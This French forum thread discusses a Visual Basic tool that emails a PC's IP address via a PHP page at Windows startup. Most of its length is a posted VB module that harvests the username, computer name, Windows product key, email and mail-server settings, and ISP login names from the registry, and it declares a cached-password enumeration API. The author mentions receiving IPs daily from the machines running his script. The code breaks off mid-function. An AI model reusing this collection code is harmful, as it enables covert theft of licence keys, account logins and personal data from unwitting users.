RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)
cs_chico200987
Messages postés
92
Date d'inscription
samedi 13 novembre 2004
Statut
Membre
Dernière intervention
26 septembre 2008
-
5 mars 2005 à 22:17
cs_chico200987 Messages postés 92 Date d'inscription samedi 13 novembre 2004 Statut Membre Dernière intervention 26 septembre 2008 - 13 août 2006 à 14:26
cs_chico200987 Messages postés 92 Date d'inscription samedi 13 novembre 2004 Statut Membre Dernière intervention 26 septembre 2008 - 13 août 2006 à 14:26
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
https://codes-sources.commentcamarche.net/source/29938-recuperer-ip-par-mail-avec-une-page-php-des-le-demarage-de-win-mise-a-jour
https://codes-sources.commentcamarche.net/source/29938-recuperer-ip-par-mail-avec-une-page-php-des-le-demarage-de-win-mise-a-jour
13 août 2006 à 14:26
Sinon... Google est ton amis ;D
5 juil. 2006 à 15:00
21 déc. 2005 à 11:20
merci
mogador_13@yahoo.fr
2 juil. 2005 à 12:41
2 juil. 2005 à 08:38
1 juil. 2005 à 17:21
20 juin 2005 à 15:03
Rien de plus simple...
27 avril 2005 à 13:09
Merci
27 avril 2005 à 13:07
27 avril 2005 à 13:06
tu peux poster un message quand tu le met en ligne ?
merci
27 avril 2005 à 12:44
27 avril 2005 à 12:19
Est-ce-que j'ai besoin d'un module quelconque ?
27 avril 2005 à 12:18
je reposteun message si ca marche..et si ca marche pas aussi d'ailleurs!
27 avril 2005 à 12:16
Dans la page PHP il faut mettre ton adresse mail dans : $recipient = "votre adresse mail";
et la mettre à la place de "votre adresse mail"
Voilà =) a ton service ;)
27 avril 2005 à 12:09
Sinon, est-ce-que tu pourrais me dire exactemet les données qu'il faut modifier (adresse mail etc...) et où elles se trouvent ?
(désolé pour tts ces questions mais je débute en programmation...)
Merci
27 avril 2005 à 11:01
26 avril 2005 à 18:06
Est-ce-que qqun aurait une idée ?
Merci bcp
26 mars 2005 à 11:19
25 mars 2005 à 20:31
25 mars 2005 à 19:43
- Dans le script PHP, changez d'adresse mail !! car je recoit chaque jour des ip ! lol
- Dans le script VB, changez de lien ! lol l'adresse donné est la mienne avec mon script php hebergé sur mon site... mintenant a vous de faire le votre :D
Merci
19 mars 2005 à 19:39
14 mars 2005 à 19:19
14 mars 2005 à 19:13
---------------------------------------------------------------------
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&
'Avoir la version de l'OS
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
wSPMajor As Integer
End Type
Const BITSPIXEL = 12
Const PLANES = 14
Const VER_PLATFORM_WIN32s = 0
Const VER_PLATFORM_WIN32_WINDOWS = 1
Const VER_PLATFORM_WIN32_NT = 2
'Avoir le nombre de couleurs de l'écran
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal nIndex As Long) As Long
Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long
'Vitesse du double click
Declare Function GetDoubleClickTime Lib "user32" () As Long
'Avoir le nom de l'ordinateur
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
nSize As Long) As Long
'Heure système du PC
Declare Sub GetSystemTime Lib "kernel32" ( _
lpSystemTime As SYSTEMTIME)
'Heure locale du Pc
Declare Sub GetLocalTime Lib "kernel32" ( _
lpSystemTime As SYSTEMTIME)
'Temps écoulé depuis l'ouverture de windows
Declare Function GetTickCount Lib "kernel32" () As Long
'Obtenir le chemin du répertoire système de windows
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'Obtenir le chemin du répertoire temporaire de windows
Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
'Obtenir le chemin du répertoire de windows
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" ( _
ByVal lpBuffer As String, _
ByVal nSize As Long) As Long
'Récupère le login sous Nt
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
'Avoir l'espace libre d'un disque
Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpDirectoryName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long
'Informations sur la mémoire
Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type
Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long
Type PASSWORD_CACHE_ENTRY
cbEntry As Integer
cbResource As Integer
cbPassword As Integer
iEntry As Byte
nType As Byte
abResource(1 To 1024) As Byte
End Type
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated String
Public Const REG_DWORD = 4 ' 32-bit number
Public Function RecupInfosPc() As String
On Error Resume Next
Const Cinternet = "Software\Microsoft\Internet ClientX"
Const Clef = "Software\Microsoft\Windows\CurrentVersion"
Dim Infos As String
Dim FicKeylog, Nom, Organisation, Ordinateur, Serial As String
Dim Versionwin, VersionNum, ProductId, MMX As String
Dim Repwindows, Productname, Processeur, Idprocesseur As String
Dim Infonie, Wanadoo, VerInternet As String
Dim Email, EmailName, SMTPServer, NNTPServer, POPServer As String
Dim RepProgramFiles As String
Set fso = CreateObject("Scripting.FileSystemObject")
Set ld = fso.Drives
'Infos sur l'utilisateur
VNumber = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
Organisation = getstring(HKEY_LOCAL_MACHINE, Clef, "RegisteredOrganization")
Serial = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductKey")
VersionNum = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
ProductId = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductId")
Productname = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductName")
Processeur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "VendorIdentifier")
Idprocesseur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "Identifier")
RepProgramFiles = getstring(HKEY_LOCAL_MACHINE, Clef, "ProgramFilesPath")
MMX = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "MMXIdentifier")
'Infos sur internet
VerInternet = getstring(HKEY_LOCAL_MACHINE, Clef, "Plus! VersionNumber")
Wanadoo = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\Wanadoo Plus", "User")
Infonie = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\infonie", "User")
Email = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Address")
EmailName = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Name")
SMTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "SMTP_Server")
POPServer = getstring(HKEY_CURRENT_USER, Cinternet, "POP_Server")
NNTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "NNTP_Server")
'Récupération des infos
Infos = ""
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS UTILISATEUR*****************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Nom de l'utilisateur : " + UserName() + vbCrLf
Infos = Infos + "Nom de l'ordinateur : " + ComputerName() + vbCrLf
Infos = Infos + "Nom de l'organisation : " + Organisation + vbCrLf
Infos = Infos + "Vitesse du double-click: " & GetDoubleClickTime & " millisecondes" & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS ORDINATEUR******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
'Infos = Infos + "Heure locale du PC : " & CStr(HeureLocale) & vbCrLf
'Infos = Infos + "Heure système du PC : " & CStr(HeureSysteme) & vbCrLf
Infos = Infos + "Résolution de l'écran : " & Resolution & vbCrLf
Infos = Infos + "Nombre de couleurs : " & NbCouleurs & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS OS************************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "OS de la machine : " + RecupOS + vbCrLf
Infos = Infos + "Système d'exploitation : " + Productname + vbCrLf
Infos = Infos + "Numéro de la version : " + VersionNum + vbCrLf
Infos = Infos + "Numéro de série : " + Serial + vbCrLf
Infos = Infos + "ProductId : " + ProductId + vbCrLf
Infos = Infos + "Répertoire de Windows : " + WindowsDirectory + vbCrLf
Infos = Infos + "Répertoire système : " + SystemDirectory + vbCrLf
Infos = Infos + "Repertoire temporaire : " + TempFolder + vbCrLf
Infos = Infos + "Repertoire des progs : " + RepProgramFiles + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS INTERNET******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Version d'I.E : " + VerInternet + vbCrLf
Infos = Infos + "Email expéditeur : " + EmailName + vbCrLf
Infos = Infos + "Adresse Email : " + Email + vbCrLf
Infos = Infos + "Serveur SMTP : " + SMTPServer + vbCrLf
Infos = Infos + "Serveur POP : " + POPServer + vbCrLf
Infos = Infos + "Serveur NNTP : " + NNTPServer + vbCrLf
Infos = Infos + "Host Name : " + GetIPHostName + vbCrLf
Infos = Infos + "IP du poste : " + GetIPAddress + vbCrLf
If Wanadoo <> "" Then
Infos = Infos + "Login Wanadoo : " + Wanadoo + vbCrLf
End If
If Infonie <> "" Then
Infos = Infos + "Login Infonie : " + Infonie + vbCrLf
End If
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "******************INFORMATIONS MATERIEL*******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
If MMX <> "" Then
Infos = Infos + "MMX identificateur : " + MMX + vbCrLf
End If
Infos = Infos + "Processeur du PC : " + Idprocesseur + vbCrLf
Infos = Infos + "Marque du processeur : " + Processeur + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LA MEMOIRE |" + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + Mem + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LES DISQUES |" + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
For Each d In ld
If d.IsReady Then
s = InfosDisk(d.Path & "")
Infos = Infos + CStr(s) + vbCrLf
End If
Next
RecupInfosPc = Infos
End Function
Public Sub savekey(Hkey As Long, strPath As String)
On Error Resume Next
Dim keyhand&
r = RegCreateKey(Hkey, strPath, keyhand&)
r = RegCloseKey(keyhand&)
End Sub
Public Function getstring(Hkey As Long, strPath As String, strValue As String)
On Error Resume Next
'EXAMPLE:
'
'text1.text = getstring(HKEY_CURRENT_USE
' R, "Software\VBW\Registry", "String")
'
Dim keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
r = RegOpenKey(Hkey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
getstring = Left$(strBuf, intZeroPos - 1)
Else
getstring = strBuf
End If
End If
End If
End Function
Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
On Error Resume Next
'EXAMPLE:
'
'Call savestring(HKEY_CURRENT_USER, "Software\VBW\Registry", "String", text1.text)
'
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
r = RegCloseKey(keyhand)
End Sub
Function getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long
On Error Resume Next
'EXAMPLE:
'
'text1.text = getdword(HKEY_CURRENT_USER
' , "Software\VBW\Registry", "Dword")
'
Dim lResult As Long
Dim lValueType As Long
Dim lBuf As Long
Dim lDataBufSize As Long
Dim r As Long
Dim keyhand As Long
r = RegOpenKey(Hkey, strPath, keyhand)
' Get length/data type
lDataBufSize = 4
lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
If lValueType = REG_DWORD Then
getdword = lBuf
End If
'Else
'Call errlog("GetDWORD-" & strPath, Fals
' e)
End If
r = RegCloseKey(keyhand)
End Function
Function SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)
On Error Resume Next
'EXAMPLE"
'
'Call SaveDword(HKEY_CURRENT_USER, "Soft
' ware\VBW\Registry", "Dword", text1.text)
'
'
Dim lResult As Long
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)
'If lResult <> error_success Then
' Call errlog("SetDWORD", False)
r = RegCloseKey(keyhand)
End Function
Public Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)
On Error Resume Next
'EXAMPLE:
'
'Call DeleteKey(HKEY_CURRENT_USER, "Soft
' ware\VBW")
'
Dim r As Long
r = RegDeleteKey(Hkey, strKey)
End Function
Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
On Error Resume Next
'EXAMPLE:
'
'Call DeleteValue(HKEY_CURRENT_USER, "So
' ftware\VBW\Registry", "Dword")
'
Dim keyhand As Long
r = RegOpenKey(Hkey, strPath, keyhand)
r = RegDeleteValue(keyhand, strValue)
r = RegCloseKey(keyhand)
End Function
'Heure système du Pc
'Retourne l'heure système sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureSysteme() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetSystemTime(sysTime)
HeureSysteme = CStr(sysTime.wDayOfWeek & ", " & _
sysTime.wDay & "/" & _
sysTime.wMonth & "/" & _
sysTime.wYear & " " & _
sysTime.wHour & ":" & _
sysTime.wMinute & ":" & _
sysTime.wSecond & "'" & _
sysTime.wMilliseconds)
End Function
'Heure locale du Pc
'Retourne l'heure locale sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureLocale() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetLocalTime(sysTime)
HeureLocale = CStr(sysTime.wDayOfWeek & ", " & _
sysTime.wDay & "/" & _
sysTime.wMonth & "/" & _
sysTime.wYear & " " & _
sysTime.wHour & ":" & _
sysTime.wMinute & ":" & _
sysTime.wSecond & "'" & _
sysTime.wMilliseconds)
End Function
'Retourne le nom de l'ordinateur
Public Function ComputerName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetComputerName(stTmp, lgTmp)
ComputerName = Split(stTmp, Chr$(0))(0)
End Function
'Temps écoulé depuis l'ouverture de windows
'Procédure de temporisation
'Le temps d'attente donné en paramètre en millisecondes est approximatif
Public Sub Sleep(lgMSec As Long)
On Error Resume Next
Dim lgTime As Long
lgTime = GetTickCount
Do While lgTime + lgMSec > GetTickCount
DoEvents
DoEvents
DoEvents
Loop
End Sub
'Temps écoulé dps l'ouverture de windows
Public Function TpsEcoule() As String
On Error Resume Next
Dim Temps, h, mn, s As Integer
Temps = Int(GetTickCount() / 1000)
h = Int(Temps / 3600)
mn = Int((Temps - 3600 * h) / 60)
s = Temps - 3600 * h - 60 * mn
TpsEcoule = h & " h " & mn & " mn " & s & " s"
End Function
'Retourne le chemin du répertoire système de windows
Public Function SystemDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetSystemDirectory(stTmp, lgTmp)
SystemDirectory = Split(stTmp, Chr$(0))(0)
End Function
'Récupère le login sous Nt
Public Function LoginNt() As String
On Error Resume Next
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As String
lngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1)
LoginNt = NTDomainUserName
End Function
'Connaitre le nombre de couleurs de l'écran
Public Function NbCouleurs() As String
On Error Resume Next
Dim lgDC As Long, lgRep As Long, lgNb As Double
lgDC = GetDC(GetDesktopWindow)
lgNb = GetDeviceCaps(lgDC, PLANES) * 2 ^ GetDeviceCaps(lgDC, BITSPIXEL)
lgRep = ReleaseDC(GetDesktopWindow, lgDC)
If lgNb 65536 Then NbCouleurs " (16 bits)"
If lgNb 4294967296# Then NbCouleurs " (32 bits)"
NbCouleurs = CStr(lgNb) & " Couleurs" & NbCouleurs
End Function
'Connaitre la résolution de l'écran
Public Function Resolution() As String
On Error Resume Next
Largeur% = Screen.Width \ Screen.TwipsPerPixelX
Hauteur% = Screen.Height \ Screen.TwipsPerPixelY
Resolution = Largeur% & " x " & Hauteur%
End Function
'Connaitre la version de Windows
Public Function RecupOS() As String
On Error Resume Next
Dim Msg As String
Dim myVer As OSVERSIONINFO
Dim dl&
Msg = ""
myVer.dwOSVersionInfoSize = 148
dl& = GetVersionEx&(myVer)
If myVer.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
If myVer.dwMajorVersion 4 And myVer.dwMinorVersion 0 Then
If myVer.dwBuildNumber = 950 Then
Msg = "Windows 95"
Else
Msg = "Windows 95 OSR2"
End If
ElseIf myVer.dwMajorVersion 4 And myVer.dwMinorVersion 10 Then
If myVer.dwBuildNumber = 1998 Then
Msg = "Windows 98"
Else
Msg = "Windows 98 SE"
End If
ElseIf myVer.dwMajorVersion >= 4 And myVer.dwMinorVersion > 10 Then
Msg = "Windows ME"
End If
ElseIf myVer.dwPlatformId = VER_PLATFORM_WIN32_NT Then
If myVer.dwMajorVersion 3 And myVer.dwMinorVersion 0 Then
Msg = "Windows NT 3.0"
ElseIf myVer.dwMajorVersion 3 And myVer.dwMinorVersion 1 Then
Msg = "Windows NT 3.1"
ElseIf myVer.dwMajorVersion 3 And myVer.dwMinorVersion 5 Then
Msg = "Windows NT 3.5"
ElseIf myVer.dwMajorVersion = 4 Then
Msg = "Windows NT 4.0"
ElseIf myVer.dwMajorVersion 5 And myVer.dwMinorVersion 0 Then
Msg = "Windows 2000"
ElseIf myVer.dwMajorVersion 5 And myVer.dwMinorVersion 1 Then
Msg = "Windows XP Profesionnel"
End If
Msg = Msg + " " + myVer.szCSDVersion + " "
End If
'msg = msg + myVer.dwMajorVersion & "." & myVer.dwMinorVersion & " Build " & (myVer.dwBuildNumber And &HFFFF&)
RecupOS = Msg
End Function
' Retourne le nom de l'utilisateur courant de l'ordinateur
Public Function UserName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetUserName(stTmp, lgTmp)
UserName = Mid$(stTmp, 1, InStr(1, stTmp, Chr$(0)) - 1)
End Function
'Retourne le chemin du répertoire temporaire de windows
Public Function TempFolder() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetTempPath(lgTmp, stTmp)
TempFolder = Split(stTmp, Chr$(0))(0)
End Function
'Retourne le chemin du répertoire windows
Public Function WindowsDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetWindowsDirectory(stTmp, lgTmp)
WindowsDirectory = Split(stTmp, Chr$(0))(0)
End Function
'Connaître la taille de la mémoire
Public Function Mem() As String
On Error Resume Next
Dim Memoire As MEMORYSTATUS
GlobalMemoryStatus Memoire
Dim Msg As String
Msg = "Mémoire physique totale : "
If Memoire.dwTotalPhys > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 3), -1) & " Go"
Else
If Memoire.dwTotalPhys > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 2), -1) & " Mo"
Else
If Memoire.dwTotalPhys > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Mémoire physique libre : "
If Memoire.dwAvailPhys > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
Else
If Memoire.dwAvailPhys > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
Else
If Memoire.dwAvailPhys > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Mémoire physique utilisée : "
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
Else
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
Else
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf + vbCrLf
Msg = Msg + "Mémoire virtuelle totale : "
If Memoire.dwTotalVirtual > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 3), -1) & " Go"
Else
If Memoire.dwTotalVirtual > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 2), -1) & " Mo"
Else
If Memoire.dwTotalVirtual > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Mémoire virtuelle libre : "
If Memoire.dwAvailVirtual > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
Else
If Memoire.dwAvailVirtual > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
Else
If Memoire.dwAvailVirtual > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024), -1) & " Ko (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Mémoire virtuelle utilisée : "
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
Else
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
Else
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf + vbCrLf
Msg = Msg + "Taille totale du fichier d'échange : "
If Memoire.dwTotalPageFile > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 3), -1) & " Go"
Else
If Memoire.dwTotalPageFile > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 2), -1) & " Mo"
Else
If Memoire.dwTotalPageFile > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Espace libre du fichier d'échange : "
If Memoire.dwAvailPageFile > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
Else
If Memoire.dwAvailPageFile > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
Else
If Memoire.dwAvailPageFile > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf
Msg = Msg + "Espace utilisé du fichier d'échange : "
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
Else
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
Else
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf
Mem = Msg
End Function
Public Function InfosDisk(ByVal Disk As String) As String
On Error Resume Next
'Dim Drv As Drive
Dim TypeD As String
Dim DrvName As String
Dim Msg As String
Msg = ""
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drv = fso.GetDrive(Mid(Disk, 1, 2))
